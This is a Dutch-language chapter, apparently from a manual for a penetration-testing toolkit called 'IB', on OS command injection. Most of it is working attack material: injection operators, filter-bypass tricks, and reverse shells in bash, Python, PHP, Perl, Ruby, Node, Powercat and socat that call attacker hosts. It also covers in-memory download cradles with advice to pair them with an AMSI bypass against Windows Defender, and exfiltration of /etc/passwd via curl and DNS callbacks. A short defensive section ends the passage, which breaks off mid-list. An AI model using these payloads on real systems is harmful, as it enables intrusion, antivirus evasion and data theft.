Command Injection
De fundamenten van het gebouw
Elk gebouw heeft fundamenten. Dikke betonnen muren, diep de grond in, die het gewicht dragen van alles wat erboven staat. Normaal gesproken denk je daar niet over na. Je loopt door de lobby, je neemt de lift, je bewondert het uitzicht vanaf de twaalfde verdieping. Die fundamenten zijn er gewoon. Onzichtbaar. Vanzelfsprekend.
Een webapplicatie werkt precies zo. Bovenaan heb je de glanzende interface: de knoppen, de formulieren, het mooie CSS-ontwerp waarover een designer drie weken heeft vergaderd. Daaronder zit de applicatielogica – de backend code die Python of Java of PHP draait. En helemaal onderaan, verscholen in het donker als de riolering van een middeleeuwse stad, ligt het besturingssysteem. Linux, Windows, wat het ook is. Het ding dat bestanden opent, processen start, netwerk- verbindingen beheert. De fundamenten.
Command injection is wat er gebeurt als iemand een gat boort door al die verdiepingen heen, recht naar beneden, tot in die fundamenten. Je typt iets in een webformulier – een veld bedoeld voor een IP-adres, een bestandsnaam, een zoekopdracht – en plotseling sta je niet meer in de lobby. Je staat in de kelder. Met een zaklamp. En alle deuren staan open.
Stel je een ouderwetse telefooncentrale voor, het soort met een menselijke operator die kabeltjes in gaatjes stak. Je belt op en zegt: “Verbind me door met meneer Jansen.” De operator pakt het juiste kabeltje en steekt het in het juiste gaatje. Netjes. Maar wat als je zegt: “Verbind me door met meneer Jansen, en geef me daarna ook even de hele telefoonlijst, en oh ja, verbind me ook nog even door met de directeur”? Een goede operator zou zeggen: “Dat mag niet.” Een slechte operator – en dit is de kern van command injection – doet gewoon alles wat je vraagt.
De webapplicatie is die slechte operator.
Wat is command injection precies?
Laten we even precies zijn, want in de beveiliging worden termen graag door elkaar gegooid alsof het allemaal hetzelfde is. Dat is het niet.
Code injection is wanneer een aanvaller code laat uitvoeren binnen de programmeertaal van de applicatie zelf. SQL injection is een vorm van code injection – je injecteert SQL-code in een SQL-query. Server-Side Template Injection injecteert template-code. De aanvaller opereert binnen het domein van de applicatie.
OS command injection is fundamenteel anders. Hier
breek je uit de applicatie en praat je rechtstreeks met het
besturingssysteem. Je injecteert geen Python in een Python-applicatie –
je injecteert bash-commando’s, of cmd.exe-
commando’s, die het besturingssysteem zelf uitvoert. Het verschil is als
het verschil tussen iemand die een vals biljet gebruikt in een winkel
(code injection) versus iemand die de kluis van de bank zelf openbreekt
(command injection).
De basis is altijd hetzelfde. Ergens in de applicatie staat een regel code die er ongeveer zo uitziet:
import os
os.system("ping -c 4 " + user_input)Of in PHP:
$output = shell_exec("nslookup " . $_GET['host']);Of in Java:
Runtime.getRuntime().exec("nslookup " + request.getParameter("host"));De developer wilde iets nuttigs doen. Een ping uitvoeren. Een DNS-lookup. Een bestand converteren. Een PDF genereren. Allemaal volkomen legitieme dingen die je met het besturingssysteem wilt doen. Maar in plaats van dat netjes te doen, plakt de developer de gebruikersinvoer gewoon achter het commando. Rauw. Ongefilterd. Zoals je sla uit de tuin eet zonder te wassen – het gaat meestal goed, tot die ene keer dat het heel erg fout gaat.
En laten we eerlijk zijn: het gaat altijd fout. Niet “misschien”. Niet “in theorie”. Het gaat fout zoals water naar beneden stroomt – het is een natuurwet. Als je user input concateneert in een shell-commando, zal iemand dat misbruiken. De enige vraag is wanneer.
IB Tip: Command injection is de heilige graal van webapplicatie- aanvallen. SQL injection geeft je de database. Command injection geeft je het hele systeem. Als je het vindt, heb je in feite al gewonnen.
De operatoren: hoe je commando’s aan elkaar plakt
De kern van command injection zit in de manier waarop besturingssystemen omgaan met speciale tekens. Elke shell – bash, sh, cmd.exe, PowerShell – heeft tekens die betekenen: “stop met dit commando en begin met het volgende.” Die tekens zijn je gereedschap.
IB heeft ze netjes op een rij gezet in het command file
web_cmdi_operators. Laten we ze een voor een doorlopen.
De puntkomma: ;
Het simpelste en meest directe wapen. Een puntkomma in bash betekent: “voer het volgende commando uit, ongeacht of het vorige slaagde of faalde.”
# Normaal gebruik
127.0.0.1;idDe applicatie voert ping -c 4 127.0.0.1 uit, en daarna
voert het id uit. Twee commando’s, netjes na elkaar. De
ping doet zijn ding, en dan krijg je de output van id – de
gebruikersnaam en groep waaronder de webserver draait.
Op Windows werkt de puntkomma niet op dezelfde manier in
cmd.exe. Daar gebruik je &:
127.0.0.1 & whoamiDe pipe: |
De pipe stuurt de output van het eerste commando als input naar het tweede. Maar het cruciale punt: beide commando’s worden uitgevoerd.
127.0.0.1|idDe ping-output wordt doorgestuurd naar id, wat
id vrolijk negeert en gewoon zijn eigen ding doet. Je
krijgt de output van id te zien, en dat is precies wat je
wilde.
Dubbele pipe (OR): ||
Dit voert het tweede commando uit alleen als het eerste commando faalt.
foobar||idping foobar faalt – want foobar is geen
geldig adres. Dus de shell voert het volgende commando uit:
id. Dit is elegant omdat je geen geldig eerste commando
nodig hebt. Je gooit er gewoon onzin in en laat het falen.
Dubbele ampersand (AND):
&&
Het tegenovergestelde: voer het tweede commando uit alleen als het eerste slaagt.
127.0.0.1&&idDe ping naar 127.0.0.1 slaagt altijd (het is localhost),
dus id wordt ook uitgevoerd. Je moet hier een geldig eerste
commando gebruiken, maar 127.0.0.1 werkt altijd.
Backticks: `
Backticks zijn inline command substitution. Het commando tussen backticks wordt eerst uitgevoerd, en de output wordt ingevoegd op die plek.
`id`Als je dit invoert als IP-adres, wordt id uitgevoerd en
de output ervan wordt het argument voor ping. De ping faalt
natuurlijk – uid=33(www-data) is geen geldig IP-adres –
maar het commando is wel degelijk uitgevoerd.
Dollar-haakjes: $()
Hetzelfde als backticks, maar de modernere syntax. Makkelijker te nesten en leesbaarder.
$(id)Functioneel identiek aan backticks, maar met het voordeel dat je ze
kunt nesten: $(echo $(whoami)). In de praktijk maakt het
weinig uit welke je gebruikt, maar $() is betrouwbaarder in
edge cases.
Newline: %0a
Dit is de stille moordenaar. Een newline (URL-encoded als
%0a) fungeert in de meeste shells als een commandoscheider
– net als een puntkomma.
127.0.0.1%0aid
Het mooie hiervan: veel filters zoeken naar puntkomma’s en pipes, maar vergeten de newline. Het is het equivalent van de achterdeur waar niemand aan denkt.
Het complete IB command file
Dit is wat IB je geeft in web_cmdi_operators:
# === Injection operatoren ===
# Semicolon (commando scheiden):
127.0.0.1;id
# Pipe (output doorsturen):
127.0.0.1|id
# AND (beide uitvoeren als eerste slaagt):
127.0.0.1&&id
# OR (tweede uitvoeren als eerste faalt):
foobar||id
# Backtick (inline substitutie):
`id`
# Dollar (inline substitutie):
$(id)
# Newline (URL-encoded):
127.0.0.1%0aid
# === URL-encoding voor speciale tekens ===
# & -> %26 (nodig in URL parameters)
# | -> %7c
# ; -> %3b
# Spatie -> + of %20
# === Blind detection ===
;curl http://10.0.0.1/cmdi_confirm
;ping -c 1 10.0.0.1
;sleep 5
# === Capability check (welke tools beschikbaar) ===
;which curl
;which wget
;which nc
;which python3Let op de URL-encoding tabel. Dit is cruciaal. Als je je payload via
een URL parameter verstuurt – en dat doe je bijna altijd – dan moet je
speciale tekens URL-encoden. Een & in een URL betekent
namelijk “volgend parameter”, niet “voer ook het volgende commando uit”.
Dus & wordt %26, | wordt
%7c, enzovoort.
IB Tip: Probeer altijd alle operatoren systematisch. Als
;niet werkt, probeer|. Als|niet werkt, probeer||. Als niets werkt, probeer de URL-encoded varianten. Sommige WAFs en filters blokkeren het ene teken maar vergeten het andere.
Windows versus Linux
Tot nu toe hebben we voornamelijk Linux-voorbeelden gezien. Maar Windows is een heel ander beest. Hier een vergelijkingstabel:
| Operator | Linux (bash/sh) | Windows (cmd.exe) | Windows (PowerShell) |
|---|---|---|---|
| Scheiden | ; |
& |
; |
| Pipe | \| |
\| |
\| |
| AND | && |
&& |
-and / && (PS7+) |
| OR | \|\| |
\|\| |
-or / \|\| (PS7+) |
| Substitutie | `cmd` / $(cmd) |
N/A | $(cmd) |
| Newline | %0a |
%0a (soms) |
%0a |
Op Windows cmd.exe gebruik je & om
commando’s te scheiden:
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
foobar || whoamiIn PowerShell werkt het weer net anders:
127.0.0.1; whoami
127.0.0.1 | whoamiHet punt is: je moet weten welk besturingssysteem en welke shell je te pakken hebt. Een Linux-payload op Windows is als een Franse sleutel op een Duits slot – het past gewoon niet.
Filter bypass: als de voordeur op slot zit
Nu wordt het interessant. Want de meeste developers zijn niet compleet achterlijk. Ze hebben ergens gelezen dat command injection een ding is, en ze hebben een filter gebouwd. Het probleem is alleen: ze hebben een slecht filter gebouwd. En een slecht filter is soms erger dan geen filter, want het geeft een vals gevoel van veiligheid.
Je kent het type. De developer die denkt: “Ik filter gewoon alle puntkomma’s en pipes weg, dan ben ik veilig.” Dat is alsof je de voordeur van je huis op slot doet maar alle ramen open laat staan.
IB’s web_cmdi_bypass command file is een masterclass in
creatief denken. Laten we de technieken doorlopen.
Spatie-bypass
Veel filters blokkeren spaties. Logisch – een commando zonder spaties is moeilijk bruikbaar, toch? Fout. Er zijn minstens vijf manieren om een spatie te vermijden in bash.
${IFS} – Internal Field Separator
In bash is $IFS een speciale variabele die standaard
whitespace bevat (spatie, tab, newline). Je kunt het gebruiken als
vervanging voor een spatie:
cat${IFS}/etc/passwd
cat$IFS/etc/passwdBeide zijn functioneel identiek aan cat /etc/passwd. De
shell vervangt ${IFS} door de inhoud van de IFS-variabele,
wat standaard een spatie is. Het is alsof je tegen een kind zegt dat het
geen koekjes mag pakken, en het kind pakt de koekjes met een tang.
Technisch gezien heeft het de koekjes niet gepakt.
Input redirection: <
cat</etc/passwdDe < operator redirect een bestand als input. Geen
spatie nodig.
Brace expansion: {cmd,arg}
{cat,/etc/passwd}Bash brace expansion zet {cat,/etc/passwd} om naar
cat /etc/passwd. Geen spatie in de oorspronkelijke
input.
Hex-encoded spatie:
X=$'\x20';cat${X}/etc/passwdJe maakt een variabele aan die een spatie bevat (hex
\x20), en gebruikt die variabele in plaats van een echte
spatie. Als dit niet creatief is, weet ik het ook niet meer.
Keyword-bypass: als ‘cat’ geblokkeerd is
Sommige filters blokkeren specifieke commando’s. “Je mag geen
cat gebruiken.” Prima. Dan gebruiken we cat op
een manier die de filter niet herkent, maar de shell wel.
Quotes invoegen:
c'a't /etc/passwd
c"a"t /etc/passwdDe shell stripted lege quotes eruit. c'a't wordt
cat. Maar de filter ziet de string cat niet –
die ziet c'a't. Het is het digitale equivalent van een
valse snor.
Backslash:
c\at /etc/passwdEen backslash voor een normaal karakter in bash doet niets.
\a is gewoon a. Maar de filter ziet
c\at, niet cat.
Wildcards:
/bin/c?t /etc/passwdHet vraagteken is een wildcard die matcht met precies een karakter.
/bin/c?t matcht met /bin/cat. Je kunt het zo
ver doorvoeren als je wilt:
/b??/c?t /e??/p??s??Dit matcht nog steeds met /bin/cat /etc/passwd. Het is
absurd, maar het werkt.
Alternatieve commando’s
Als cat geblokkeerd is, waarom zou je dan uberhaupt
cat gebruiken? Er zijn tientallen commando’s die bestanden
kunnen lezen:
tac /etc/passwd # cat achterstevoren
head /etc/passwd # eerste regels
tail /etc/passwd # laatste regels
nl /etc/passwd # met regelnummers
sort /etc/passwd # gesorteerdtac is mijn persoonlijke favoriet. Het is letterlijk
cat achterstevoren – zowel de naam als de output. Het is
het soort commando waarvan je je afvraagt: “Wie heeft hier ooit om
gevraagd?” Het antwoord: pentesters. Pentesters hebben hier om
gevraagd.
Slash-bypass
Soms is zelfs de / geblokkeerd. Dan moet je creatief
worden met string- manipulatie:
$(tr '!/' '/ ' <<< 'bin!bash')Dit vertaalt ! naar / en /
naar een spatie, waardoor bin!bash wordt omgezet naar
/bin/bash. Het is het soort ding dat je met bewondering en
lichte afschuw bekijkt.
String concatenatie
a]b]c=/etc/passwd;cat ${a]b]c}Je bouwt het pad op in een variabele en gebruikt die variabele in je
commando. De filter ziet nooit de string /etc/passwd in je
input.
Base64 encoding
Dit is de nucleaire optie. Encodeer je hele payload in base64, en decodeer het op het doelsysteem:
# Op je eigen machine:
echo 'id' | base64
# Output: aWQ=
# Op het doelsysteem:
echo aWQ= | base64 -d | bashVoor een reverse shell:
# Encodeer de payload:
echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64
# Decodeer en voer uit:
echo BASE64_HERE | base64 -d | bashDe filter ziet alleen maar een onschuldige base64-string. Geen speciale tekens, geen verdachte commando’s. Gewoon een reeks letters en cijfers en een paar plustekens.
Hex encoding
echo -e '\x69\x64' | bash\x69 is i, \x64 is
d. Samen: id. Hetzelfde principe als base64,
maar dan met hex.
Wildcard-bypass voor paden
/bin/c?t /etc/p?sswd
/b??/c?t /e??/p??s??Dit is de shotgun-benadering. Vervang elk karakter dat geblokkeerd
zou kunnen zijn door een vraagteken, en hoop dat er maar een match is.
In de meeste systemen is /bin/c?t uniek genoeg om alleen
/bin/cat te matchen.
IB Tip: Gebruik Wfuzz met een blocklist bypass wordlist voor geautomatiseerd testen. Handmatig elke bypass proberen is tijdrovend. Laat de computer het werk doen.
Van command injection naar shell
Goed. Je hebt command injection gevonden. Je kunt id
uitvoeren. Je kunt /etc/passwd lezen. Maar dat is pas het
begin. Het echte doel is een interactieve shell – een permanente
verbinding met het systeem waarmee je kunt rondneuzen, bestanden
downloaden, privileges escaleren, en verder het netwerk in bewegen.
Het concept is simpel: je laat het doelsysteem een verbinding opzetten naar jouw machine (een “reverse shell”), zodat je een volledige command line krijgt. Maar de uitvoering kan complex zijn, afhankelijk van wat er beschikbaar is op het doelsysteem.
Daarom is de eerste stap altijd een capability check. Welke tools heeft het systeem?
;which curl
;which wget
;which nc
;which python3
;which perl
;which ruby
;which php
;which socatAfhankelijk van het antwoord kies je je shell.
Bash reverse shell
De klassieker. Werkt op bijna elk Linux-systeem:
;bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'Maar pas op: als je dit via een HTTP-parameter verstuurt, moet je de
& URL-encoden als %26:
;bash -c 'bash -i >%26 /dev/tcp/10.0.0.1/443 0>%261'
Dit is wat IB’s web_cmdi_operators laat zien. Die
%26 is cruciaal – zonder die encoding interpreteert de
webserver de & als een parameter-scheider in de URL,
niet als deel van je payload.
Je luistert op je eigen machine:
nc -nlvp 443En zodra de payload wordt uitgevoerd, heb je een shell. Poort 443 is geen toeval – het is de HTTPS-poort, en uitgaand verkeer op poort 443 wordt zelden geblokkeerd door firewalls.
Python reverse shell
Als bash niet beschikbaar is maar Python wel:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'Dit is een one-liner die: 1. Een socket opent naar jouw IP op poort
443 2. stdin, stdout en stderr redirect naar die socket
(os.dup2) 3. Een bash-shell spawnt met een pseudo-terminal
(pty.spawn)
De langere versie uit IB’s web_cmdi_shells:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'Functioneel hetzelfde, maar explicieter. Let op: probeer zowel
python als python3 – sommige systemen hebben
alleen de een of de ander.
PHP reverse shell
php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'Of met proc_open:
php -r '$sock=fsockopen("10.0.0.1",443);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'PHP heeft een verrassend groot arsenaal aan functies die
shell-commando’s kunnen uitvoeren: system(),
passthru(), shell_exec(),
popen(), proc_open(), exec(). Zes
manieren om hetzelfde te doen. Het is alsof een taal is ontworpen door
iemand die dacht: “Wat als we dezelfde fout zes keer maakten, maar dan
elk met een net iets andere syntax?”
Perl reverse shell
perl -e 'use Socket;$i="10.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Perl is oud, lelijk, en bijna overal geinstalleerd. Het is het Latijn van de programmeertalen – niemand gebruikt het vrijwillig, maar het weigert om dood te gaan.
Ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Node.js reverse shell
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(443,"10.0.0.1",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})()'Of simpeler als netcat beschikbaar is:
require('child_process').exec('nc -nv 10.0.0.1 443 -e /bin/bash')IB Tip: Check altijd eerst welke interpreters beschikbaar zijn met
which python3 perl ruby node. Geen zin om een Python-shell te proberen als Python niet geinstalleerd is.
Powercat: netcat voor PowerShell
Op Windows-systemen is de situatie anders. Bash bestaat niet (tenzij
WSL geinstalleerd is), en de standaard tools zijn PowerShell en
cmd.exe. Hier komt Powercat in beeld – een pure
PowerShell-implementatie van netcat.
Het mooie van Powercat is dat het geen binary is. Het is een PowerShell-script. Dat betekent dat je het in-memory kunt laden zonder iets naar disk te schrijven, wat antivirus een stuk moeilijker maakt.
Powercat laden
In-memory laden vanaf je webserver:
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1')Of lokaal:
. .\powercat.ps1Reverse shell met Powercat
Op je eigen machine, start een listener:
nc -nlvp 443Op het target:
powercat -c ATTACKER_IP -p 443 -e cmd.exeWil je PowerShell in plaats van cmd.exe? Gebruik de
-ep flag:
powercat -c ATTACKER_IP -p 443 -epBind shell
Soms is een reverse shell niet mogelijk – bijvoorbeeld als het target geen uitgaande verbindingen mag maken. Dan draai je het om. Het target opent een poort en jij verbindt ernaar toe:
Op het target:
powercat -l -p 4444 -e cmd.exeOp je machine:
nc TARGET_IP 4444Encoded payload
Voor een one-liner die je via command injection kunt uitvoeren:
# Genereer de encoded payload:
powercat -c ATTACKER_IP -p 443 -e cmd.exe -ge > encoded_shell.ps1
# Voer uit op het target:
powershell -E <BASE64_STRING>De -ge flag genereert een base64-encoded versie die je
met powershell -E kunt uitvoeren. Eenvoudig, elegant, en
het omzeilt veel signature-based detectie.
Bestandsoverdracht
Powercat kan ook bestanden versturen:
# Ontvanger (jouw machine):
nc -nlvp 443 > received_file
# Verzender (target):
powercat -c ATTACKER_IP -p 443 -i C:\Users\victim\secret.txtRelay en pivot
# Relay van poort 8080 naar intern target:
powercat -l -p 8080 -r tcp:INTERNAL_TARGET:80
# DNS relay:
powercat -l -p 53 -r dns:ATTACKER_IP:443De complete one-liner
De ultieme Powercat one-liner die alles combineert – download en shell in een commando:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1'); powercat -c ATTACKER_IP -p 443 -e cmd.exe"IB Tip: Combineer Powercat met een AMSI bypass voor antivirus-evasie. Zonder AMSI bypass wordt de Powercat-download waarschijnlijk geblokkeerd door Windows Defender. Zie het AMSI-hoofdstuk voor details.
Socat: de versleutelde variant
Socat is netcat op steroiden. Het grote verschil: socat ondersteunt SSL/TLS- versleuteling. Dat betekent dat je reverse shell eruitziet als normaal HTTPS- verkeer. Voor een IDS of firewall is het nauwelijks te onderscheiden van een gewone beveiligde verbinding.
SSL-certificaat genereren
Eerste stap: maak een self-signed certificaat:
openssl req -newkey rsa:2048 -nodes -keyout shell.key \
-x509 -days 365 -out shell.crt -subj '/CN=localhost'
cat shell.key shell.crt > shell.pemVersleutelde reverse shell
Op je machine (listener):
socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork STDOUTOf met een volledige TTY (zodat je tab-completion en vi kunt gebruiken):
socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork \
FILE:`tty`,raw,echo=0Op het target (Linux):
socat OPENSSL:ATTACKER_IP:443,verify=0 \
EXEC:/bin/bash,pty,stderr,setsid,sigint,saneDie opties aan het einde (pty,stderr,setsid,sigint,sane)
zorgen ervoor dat je een volwaardige interactieve shell krijgt met
signal handling en een pseudo- terminal. Zonder die opties krijg je een
kale shell waar Ctrl+C je verbinding verbreekt in plaats van het lopende
commando te stoppen.
Versleutelde bind shell
# Target (listener):
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork \
EXEC:/bin/bash,pty,stderr,setsid
# Aanvaller (connect):
socat - OPENSSL:TARGET_IP:4444,verify=0Port forwarding
# Onversleuteld:
socat TCP-LISTEN:8080,fork TCP:INTERNAL_TARGET:80
# Versleuteld:
socat OPENSSL-LISTEN:8443,cert=shell.pem,verify=0,fork \
TCP:INTERNAL_TARGET:80Socat op Windows
Download socat naar het target:
certutil -urlcache -f http://ATTACKER_IP/socat.exe C:\Windows\tasks\socat.exeReverse shell:
socat.exe TCP:ATTACKER_IP:443 EXEC:cmd.exe,pipesBestandsoverdracht
# Ontvanger:
socat TCP-LISTEN:9999,fork file:received_file,create
# Verzender:
socat TCP:ATTACKER_IP:9999 file:local_fileIB Tip: Socat SSL-verkeer is bijna niet te onderscheiden van normaal HTTPS-verkeer. Dit maakt het ideaal voor omgevingen met strikte netwerk- monitoring. De
verify=0flag slaat certificaat-validatie over – nodig omdat we een self-signed certificaat gebruiken.
De IB Reverse Shell Generator
Tot nu toe hebben we individuele commando’s besproken. Maar laten we eerlijk zijn: handmatig IP-adressen en poortnummers invullen in tientallen reverse shell one-liners is het soort monotoon werk waar computers voor zijn uitgevonden. En dat is precies waarvoor IB de Reverse Shell Generator heeft.
De generator is bereikbaar via het dashboard onder Reverse Shells Generator. Het is een van de meest praktische tools in IB – je vult je IP-adres en poort in, en het genereert automatisch tientallen reverse shells in elke taal die je maar kunt bedenken.
De interface
De generator heeft vier hoofdsecties:
Configuratie – Hier vul je drie dingen in:
- IP of interface: je IP-adres (bijv.
10.10.14.5) of een netwerk- interface (bijv.tun0). IB resolvet interfaces automatisch. - Port: de poort waarop je luistert. Default is
443. - Bestandsnaam prefix: de prefix voor het
output-bestand. Default is
shell, wat resulteert inshell_443.txt.
- IP of interface: je IP-adres (bijv.
AMSI Bypass – Een ingebouwde AMSI bypass generator. Elke keer dat je op “Genereer” klikt, krijg je een andere obfuscated AMSI bypass. De “Base64” knop geeft je een encoded variant die je met PowerShell’s
-encflag kunt uitvoeren. Essentieel voor Windows-targets met Defender.Shells – Hier verschijnen alle gegenereerde reverse shells, netjes gesorteerd per categorie (Bash, Python, PHP, Perl, Ruby, etc.). Elke shell heeft een “Kopieer” knop. Er is ook een “Kopieer alles” knop per categorie.
PowerShell Cradles – Automatisch gegenereerde download cradles voor elke
.ps1tool in jehttp/tools/directory. Drie varianten per tool:IEX,Invoke-WebRequest, en een base64-encodedpowershell -encvariant.Tool Downloads – Download-commando’s voor
.exebestanden, met varianten voorcertutil,curl,PowerShell WebClient,Invoke-WebRequest,bitsadmin, en zelfsfindstrvia SMB.Gegenereerde Payloads – Een overzicht van alle payloads in
http/payloads/, inclusief bestandsgrootte en downloadlinks.
Zoekfunctie
Bovenaan staat een zoekbalk waarmee je door alle gegenereerde shells, cradles en downloads kunt filteren. Typ “python” en je ziet alleen Python- shells. Typ “certutil” en je ziet alleen certutil-download-commando’s. Dit bespaart enorm veel tijd als je snel een specifiek type shell nodig hebt.
Workflow: van injection punt naar volledige shell
Laten we een complete workflow doorlopen. Je hebt een command injection gevonden in een webapplicatie. Hoe ga je van dat ene injection punt naar een volledige interactieve shell?
Stap 1: Start de IB Reverse Shell Generator
Open het IB dashboard en ga naar de Reverse Shell Generator. Vul je
IP-adres en poort in (bijv. 10.10.14.5 en
443). Klik op “Genereer reverse shells”.
Stap 2: Bepaal het target OS en beschikbare tools
Gebruik je command injection om te achterhalen wat er beschikbaar is:
;uname -a # Linux of Windows?
;which python3 # Python beschikbaar?
;which nc # Netcat beschikbaar?
;which curl # Curl beschikbaar?
;which wget # Wget beschikbaar?Stap 3: Kies de juiste shell
Op basis van de resultaten zoek je in de generator de juiste shell. Python beschikbaar? Zoek “python” in de zoekbalk en kopieer de Python reverse shell. Alleen bash? Kopieer de bash-variant.
Stap 4: Start je listener
nc -nlvp 443Stap 5: Voer de payload uit
Inject de gekopieerde reverse shell via je command injection punt. Vergeet niet om speciale tekens te URL-encoden als je via een HTTP-parameter werkt.
Stap 6: Upgrade je shell
Zodra je een verbinding hebt, upgrade naar een volledige interactieve shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermIB Tip: De generator slaat de output ook op als bestand in
http/payloads/. Zo heb je altijd een overzicht van alle shells die je hebt gegenereerd, en kun je ze later opnieuw gebruiken of via de IB webserver serveren aan targets.
Blind command injection
Tot nu toe zijn we ervan uitgegaan dat je de output van je commando’s
kunt zien. De applicatie voert ping 127.0.0.1;id uit, en de
output van id verschijnt ergens op de pagina. Maar dat is
lang niet altijd het geval.
Soms voert de applicatie je commando wel uit, maar laat het de output niet zien. Misschien wordt de output weggegooid. Misschien wordt alleen “Success” of “Error” weergegeven. Dit is blind command injection, en het is net zo gevaarlijk als de niet-blinde variant – alleen lastiger te bevestigen.
Er zijn twee hoofdmethoden om blind command injection te detecteren en te exploiten.
Time-based detection
Het principe: als je het systeem kunt laten wachten, weet je dat je commando is uitgevoerd.
;sleep 5Als het antwoord van de server precies vijf seconden langer duurt dan
normaal, weet je dat sleep 5 is uitgevoerd. Je hebt command
injection. Je kunt de output niet zien, maar je kunt het systeem
controleren.
Op Windows:
& ping -n 10 127.0.0.1De ping -n 10 duurt ongeveer tien seconden. Als het
antwoord tien seconden vertraagd is, bingo.
Varieer de timing om zeker te weten dat het geen toevallige
vertraging is. Probeer sleep 3, dan sleep 7,
dan sleep 1. Als de vertraging elke keer exact overeenkomt
met je sleep-waarde, is het bevestigd.
Out-of-band (OOB) detection
Soms is time-based niet betrouwbaar – misschien duurt het verwerken van het verzoek al lang, of is de netwerk-latency te variabel. Dan gebruik je out-of-band detectie: je laat het doelsysteem contact opnemen met een server die jij controleert.
HTTP callback:
;curl http://10.0.0.1/cmdi_confirm
;wget http://10.0.0.1/cmdi_confirmStart een simpele HTTP-server op je machine:
python3 -m http.server 80Als je een HTTP-request ziet binnenkomen voor
/cmdi_confirm, weet je dat het commando is uitgevoerd.
DNS callback:
;nslookup unique-id.attacker.com
;dig unique-id.attacker.com
;host unique-id.attacker.comDNS is bijzonder effectief omdat DNS-verkeer bijna nooit geblokkeerd wordt. Zelfs de strengste firewalls laten DNS door. Gebruik een unieke subdomain per test zodat je precies weet welke payload succesvol was.
Ping:
;ping -c 1 10.0.0.1Start tcpdump op je machine:
tcpdump -i tun0 icmpAls je een ICMP-pakket ziet binnenkomen, is het commando uitgevoerd.
Data exfiltratie via OOB
Nu het leuke deel: je kunt OOB niet alleen gebruiken om command injection te bevestigen, maar ook om data te exfiltreren.
;curl http://10.0.0.1/$(whoami)
;curl http://10.0.0.1/$(cat /etc/hostname)
;nslookup $(whoami).attacker.comDe output van het commando wordt onderdeel van de URL of de
DNS-query. Op je server zie je een request binnenkomen voor
/www-data of een DNS-lookup voor
webserver.attacker.com. Het is niet snel – je kunt maar
beperkte data per request versturen – maar het werkt, zelfs als je de
output nergens kunt zien.
Voor grotere bestanden kun je base64 gebruiken:
;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tr -d '\n')Of in stukjes:
;curl http://10.0.0.1/$(cat /etc/passwd | base64 | head -c 100)
;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tail -c +101 | head -c 100)IB Tip: Burp Collaborator of een eigen DNS-logger zijn onmisbaar voor blind command injection. De IB
web_cmdi_operatorsfile heeft standaard blind detection payloads voorcurl,ping, ensleep– probeer ze allemaal.
Verdediging: hoe je dit voorkomt
Nu even serieus. Want al die aanvalstechnieken zijn leuk en aardig, maar als je een developer bent (of een developer aanstuurt), moet je dit probleem ook oplossen.
Regel 1: Gebruik geen system calls
Dit is de enige regel die je echt nodig hebt. Als je nooit
os.system(), subprocess.call() met
shell=True, exec(), system(), of
welke functie dan ook aanroept die een shell-commando uitvoert met user
input, dan heb je geen command injection. Punt. Klaar. Einde
verhaal.
“Maar ik moet een ping uitvoeren!” Nee, dat moet je niet. Gebruik een
library. In Python: import ping3. In PHP: gebruik
fsockopen() voor netwerk- connectiviteit. In Java: gebruik
InetAddress.isReachable(). Er is altijd een library die
doet wat je wilt zonder dat je een shell hoeft aan te roepen.
“Maar ik moet een PDF genereren!” Gebruik een library.
reportlab in Python, wkhtmltopdf via een
wrapper library, iText in Java. Geen reden om
os.system("wkhtmltopdf " + filename) aan te roepen.
“Maar ik moet ImageMagick aanroepen!” Gebruik de Python-binding
Wand, of de PHP Imagick extensie, of de Java
im4java library. Allemaal roepen ImageMagick aan zonder dat
je een shell nodig hebt.
Regel 2: Als je toch een system call moet doen
Soms is er echt geen alternatief. Je moet nmap
aanroepen, of pandoc, of een obscure legacy tool waar geen
library voor bestaat. In dat geval:
Gebruik parameterized execution:
# FOUT:
os.system("ping -c 4 " + user_input)
# FOUT (shell=True):
subprocess.call("ping -c 4 " + user_input, shell=True)
# GOED:
subprocess.call(["ping", "-c", "4", user_input])De cruciale parameter is shell=False (de default in
Python’s subprocess). Als je de argumenten als een lijst
meegeeft in plaats van als een string, dan worden ze niet door een shell
geinterpreteerd. De speciale tekens ;, |,
&&, etc. worden behandeld als letterlijke
karakters, niet als operatoren.
In PHP:
// FOUT:
system("ping -c 4 " . $_GET['ip']);
// GOED:
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);
// BETER:
$output = [];
exec("ping -c 4 " . escapeshellarg($_GET['ip']), $output);escapeshellarg() wikkelt de input in enkele quotes en
escaped alle bestaande quotes. Niet waterdicht, maar veel beter dan
niets.
Regel 3: Whitelist input
